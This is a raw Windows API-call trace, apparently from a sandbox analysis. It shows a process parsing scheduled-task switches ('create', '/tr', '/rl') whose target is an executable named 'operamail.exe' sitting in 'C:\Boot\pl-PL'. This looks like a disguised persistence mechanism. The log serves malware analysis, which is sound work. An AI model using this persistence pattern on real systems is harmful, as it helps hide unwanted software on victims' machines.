_Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.737] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.737] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.737] lstrlenW (lpString="|tr|") returned 4 [0136.737] lstrlenW (lpString="|tr|") returned 4 [0136.737] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0136.737] SetLastError (dwErrCode=0x0) [0136.737] SetLastError (dwErrCode=0x0) [0136.737] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.737] lstrlenW (lpString="-/") returned 2 [0136.737] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0136.737] SetLastError (dwErrCode=0x490) [0136.738] SetLastError (dwErrCode=0x490) [0136.738] SetLastError (dwErrCode=0x0) [0136.738] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.738] StrChrIW (lpStart="'C:\\Boot\\pl-PL\\operamail.exe'", wMatch=0x3a) returned=":\\Boot\\pl-PL\\operamail.exe'" [0136.738] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.738] _memicmp (_Buf1=0x45d500, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.738] _memicmp (_Buf1=0x45d540, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.738] SetLastError (dwErrCode=0x7a) [0136.738] SetLastError (dwErrCode=0x0) [0136.738] SetLastError (dwErrCode=0x0) [0136.738] lstrlenW (lpString="'C") returned 2 [0136.738] lstrlenW (lpString="-/") returned 2 [0136.738] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0136.738] SetLastError (dwErrCode=0x490) [0136.738] SetLastError (dwErrCode=0x490) [0136.738] SetLastError (dwErrCode=0x0) [0136.738] _memicmp (_Buf1=0x45d4c0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.738] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.738] GetProcessHeap () returned 0x440000 [0136.738] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d580) returned 1 [0136.738] GetProcessHeap () returned 0x440000 [0136.738] RtlReAllocateHeap (Heap=0x440000, Flags=0xc, Ptr=0x45d580, Size=0x3c) returned 0x459360 [0136.738] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.738] lstrlenW (lpString=" \x09") returned 2 [0136.738] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0136.738] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0136.738] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0136.738] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0136.739] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0136.739] GetLastError () returned 0x0 [0136.739] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.739] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.740] SetLastError (dwErrCode=0x0) [0136.740] SetLastError (dwErrCode=0x0) [0136.740] lstrlenW (lpString="/rl") returned 3 [0136.740] lstrlenW (lpString="-/") returned 2 [0136.740] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.740] lstrlenW (lpString="create") returned 6 [0136.740] lstrlenW (lpString="create") returned 6 [0136.740] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.740] lstrlenW (lpString="rl") returned 2 [0136.740] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.740] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|create|") returned 8 [0136.740] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.740] lstrlenW (lpString="|create|") returned 8 [0136.740] lstrlenW (lpString="|rl|") returned 4 [0136.740] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0136.740] SetLastError (dwErrCode=0x490) [0136.740] lstrlenW (lpString="?") returned 1 [0136.740] lstrlenW (lpString="?") returned 1 [0136.740] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.740] lstrlenW (lpString="rl") returned 2 [0136.740] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.740] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|?|") returned 3 [0136.740] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.740] lstrlenW (lpString="|?|") returned 3 [0136.740] lstrlenW (lpString="|rl|") returned 4 [0136.740] SetLastError (dwErrCode=0x490) [0136.740] lstrlenW (lpString="s") returned 1 [0136.741] lstrlenW (lpString="s") returned 1 [0136.741] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.741] lstrlenW (lpString="rl") returned 2 [0136.741] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.741] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|s|") returned 3 [0136.741] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.741] lstrlenW (lpString="|s|") returned 3 [0136.741] lstrlenW (lpString="|rl|") returned 4 [0136.741] SetLastError (dwErrCode=0x490) [0136.741] lstrlenW (lpString="u") returned 1 [0136.741] lstrlenW (lpString="u") returned 1 [0136.741] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.741] lstrlenW (lpString="rl") returned 2 [0136.741] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.741] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|u|") returned 3 [0136.741] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.741] lstrlenW (lpString="|u|") returned 3 [0136.741] lstrlenW (lpString="|rl|") returned 4 [0136.741] SetLastError (dwErrCode=0x490) [0136.741] lstrlenW (lpString="p") returned 1 [0136.741] lstrlenW (lpString="p") returned 1 [0136.741] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.741] lstrlenW (lpString="rl") returned 2 [0136.741] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.741] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|p|") returned 3 [0136.742] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.742] lstrlenW (lpString="|p|") returned 3 [0136.742] lstrlenW (lpString="|rl|") returned 4 [0136.742] SetLastError (dwErrCode=0x490) [0136.747] lstrlenW (lpString="ru") returned 2 [0136.747] lstrlenW (lpString="ru") returned 2 [0136.747] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.747] lstrlenW (lpString="rl") returned 2 [0136.747] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.747] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ru|") returned 4 [0136.747] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.747] lstrlenW (lpString="|ru|") returned 4 [0136.747] lstrlenW (lpString="|rl|") returned 4 [0136.747] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0136.747] SetLastError (dwErrCode=0x490) [0136.747] lstrlenW (lpString="rp") returned 2 [0136.747] lstrlenW (lpString="rp") returned 2 [0136.747] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.747] lstrlenW (lpString="rl") returned 2 [0136.747] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.747] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rp|") returned 4 [0136.747] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.747] lstrlenW (lpString="|rp|") returned 4 [0136.747] lstrlenW (lpString="|rl|") returned 4 [0136.747] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0136.747] SetLastError (dwErrCode=0x490) [0136.747] lstrlenW (lpString="sc") returned 2 [0136.748] lstrlenW (lpString="sc") returned 2 [0136.748] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.748] lstrlenW (lpString="rl") returned 2 [0136.748] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.748] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sc|") returned 4 [0136.748] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.748] lstrlenW (lpString="|sc|") returned 4 [0136.748] lstrlenW (lpString="|rl|") returned 4 [0136.748] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0136.748] SetLastError (dwErrCode=0x490) [0136.748] lstrlenW (lpString="mo") returned 2 [0136.748] lstrlenW (lpString="mo") returned 2 [0136.748] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.748] lstrlenW (lpString="rl") returned 2 [0136.748] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.748] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|mo|") returned 4 [0136.748] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.748] lstrlenW (lpString="|mo|") returned 4 [0136.748] lstrlenW (lpString="|rl|") returned 4 [0136.748] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0136.748] SetLastError (dwErrCode=0x490) [0136.748] lstrlenW (lpString="d") returned 1 [0136.748] lstrlenW (lpString="d") returned 1 [0136.748] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.748] lstrlenW (lpString="rl") returned 2 [0136.749] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.749] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|d|") returned 3 [0136.749] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.749] lstrlenW (lpString="|d|") returned 3 [0136.749] lstrlenW (lpString="|rl|") returned 4 [0136.749] SetLastError (dwErrCode=0x490) [0136.749] lstrlenW (lpString="m") returned 1 [0136.749] lstrlenW (lpString="m") returned 1 [0136.749] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.749] lstrlenW (lpString="rl") returned 2 [0136.749] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.749] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|m|") returned 3 [0136.749] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.749] lstrlenW (lpString="|m|") returned 3 [0136.749] lstrlenW (lpString="|rl|") returned 4 [0136.749] SetLastError (dwErrCode=0x490) [0136.749] lstrlenW (lpString="i") returned 1 [0136.749] lstrlenW (lpString="i") returned 1 [0136.749] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.749] lstrlenW (lpString="rl") returned 2 [0136.749] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.749] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|i|") returned 3 [0136.749] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.749] lstrlenW (lpString="|i|") returned 3 [0136.749] lstrlenW (lpString="|rl|") returned 4 [0136.749] SetLastError (dwErrCode=0x490) [0136.750] lstrlenW (lpString="tn") returned 2 [0136.750] lstrlenW (lpString="tn") returned 2 [0136.750] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.750] lstrlenW (lpString="rl") returned 2 [0136.750] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.750] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tn|") returned 4 [0136.750] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.750] lstrlenW (lpString="|tn|") returned 4 [0136.750] lstrlenW (lpString="|rl|") returned 4 [0136.750] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0136.750] SetLastError (dwErrCode=0x490) [0136.750] lstrlenW (lpString="tr") returned 2 [0136.750] lstrlenW (lpString="tr") returned 2 [0136.750] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.750] lstrlenW (lpString="rl") returned 2 [0136.750] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.750] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|tr|") returned 4 [0136.750] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.750] lstrlenW (lpString="|tr|") returned 4 [0136.750] lstrlenW (lpString="|rl|") returned 4 [0136.750] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0136.750] SetLastError (dwErrCode=0x490) [0136.750] lstrlenW (lpString="st") returned 2 [0136.750] lstrlenW (lpString="st") returned 2 [0136.750] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.750] lstrlenW (lpString="rl") returned 2 [0136.750] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.751] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|st|") returned 4 [0136.751] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.751] lstrlenW (lpString="|st|") returned 4 [0136.751] lstrlenW (lpString="|rl|") returned 4 [0136.751] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0136.751] SetLastError (dwErrCode=0x490) [0136.751] lstrlenW (lpString="sd") returned 2 [0136.751] lstrlenW (lpString="sd") returned 2 [0136.751] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.751] lstrlenW (lpString="rl") returned 2 [0136.751] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.751] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|sd|") returned 4 [0136.751] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.751] lstrlenW (lpString="|sd|") returned 4 [0136.751] lstrlenW (lpString="|rl|") returned 4 [0136.751] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0136.751] SetLastError (dwErrCode=0x490) [0136.751] lstrlenW (lpString="ed") returned 2 [0136.751] lstrlenW (lpString="ed") returned 2 [0136.751] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.751] lstrlenW (lpString="rl") returned 2 [0136.751] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.751] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ed|") returned 4 [0136.751] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.751] lstrlenW (lpString="|ed|") returned 4 [0136.751] lstrlenW (lpString="|rl|") returned 4 [0136.751] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0136.752] SetLastError (dwErrCode=0x490) [0136.752] lstrlenW (lpString="it") returned 2 [0136.752] lstrlenW (lpString="it") returned 2 [0136.752] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.752] lstrlenW (lpString="rl") returned 2 [0136.752] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.752] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|it|") returned 4 [0136.752] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.752] lstrlenW (lpString="|it|") returned 4 [0136.752] lstrlenW (lpString="|rl|") returned 4 [0136.752] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0136.752] SetLastError (dwErrCode=0x490) [0136.752] lstrlenW (lpString="et") returned 2 [0136.752] lstrlenW (lpString="et") returned 2 [0136.752] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.752] lstrlenW (lpString="rl") returned 2 [0136.752] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.752] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|et|") returned 4 [0136.752] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.752] lstrlenW (lpString="|et|") returned 4 [0136.752] lstrlenW (lpString="|rl|") returned 4 [0136.752] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0136.752] SetLastError (dwErrCode=0x490) [0136.752] lstrlenW (lpString="k") returned 1 [0136.752] lstrlenW (lpString="k") returned 1 [0136.752] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.752] lstrlenW (lpString="rl") returned 2 [0136.753] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.753] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|k|") returned 3 [0136.753] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.753] lstrlenW (lpString="|k|") returned 3 [0136.753] lstrlenW (lpString="|rl|") returned 4 [0136.753] SetLastError (dwErrCode=0x490) [0136.753] lstrlenW (lpString="du") returned 2 [0136.753] lstrlenW (lpString="du") returned 2 [0136.753] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.753] lstrlenW (lpString="rl") returned 2 [0136.753] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.753] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|du|") returned 4 [0136.753] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.753] lstrlenW (lpString="|du|") returned 4 [0136.753] lstrlenW (lpString="|rl|") returned 4 [0136.753] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0136.753] SetLastError (dwErrCode=0x490) [0136.753] lstrlenW (lpString="ri") returned 2 [0136.753] lstrlenW (lpString="ri") returned 2 [0136.753] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.753] lstrlenW (lpString="rl") returned 2 [0136.753] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.753] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ri|") returned 4 [0136.753] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.753] lstrlenW (lpString="|ri|") returned 4 [0136.753] lstrlenW (lpString="|rl|") returned 4 [0136.753] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0136.754] SetLastError (dwErrCode=0x490) [0136.754] lstrlenW (lpString="z") returned 1 [0136.754] lstrlenW (lpString="z") returned 1 [0136.754] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.754] lstrlenW (lpString="rl") returned 2 [0136.754] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.754] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|z|") returned 3 [0136.754] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.754] lstrlenW (lpString="|z|") returned 3 [0136.754] lstrlenW (lpString="|rl|") returned 4 [0136.754] SetLastError (dwErrCode=0x490) [0136.754] lstrlenW (lpString="f") returned 1 [0136.754] lstrlenW (lpString="f") returned 1 [0136.754] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.754] lstrlenW (lpString="rl") returned 2 [0136.754] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.754] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|f|") returned 3 [0136.754] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.754] lstrlenW (lpString="|f|") returned 3 [0136.754] lstrlenW (lpString="|rl|") returned 4 [0136.754] SetLastError (dwErrCode=0x490) [0136.754] lstrlenW (lpString="v1") returned 2 [0136.754] lstrlenW (lpString="v1") returned 2 [0136.754] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.754] lstrlenW (lpString="rl") returned 2 [0136.754] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.754] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|v1|") returned 4 [0136.755] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.755] lstrlenW (lpString="|v1|") returned 4 [0136.755] lstrlenW (lpString="|rl|") returned 4 [0136.755] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0136.755] SetLastError (dwErrCode=0x490) [0136.755] lstrlenW (lpString="xml") returned 3 [0136.755] lstrlenW (lpString="xml") returned 3 [0136.755] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.755] lstrlenW (lpString="rl") returned 2 [0136.755] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.755] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|xml|") returned 5 [0136.755] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.755] lstrlenW (lpString="|xml|") returned 5 [0136.755] lstrlenW (lpString="|rl|") returned 4 [0136.755] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0136.755] SetLastError (dwErrCode=0x490) [0136.755] lstrlenW (lpString="ec") returned 2 [0136.755] lstrlenW (lpString="ec") returned 2 [0136.755] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.755] lstrlenW (lpString="rl") returned 2 [0136.755] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.755] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|ec|") returned 4 [0136.755] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 [0136.755] lstrlenW (lpString="|ec|") returned 4 [0136.755] lstrlenW (lpString="|rl|") returned 4 [0136.755] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0136.755] SetLastError (dwErrCode=0x490) [0136.756] lstrlenW (lpString="rl") returned 2 [0136.756] lstrlenW (lpString="rl") returned 2 [0136.756] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.756] lstrlenW (lpString="rl") returned 2 [0136.756] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.756] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c228 | out: _Buffer="|rl|") returned 4 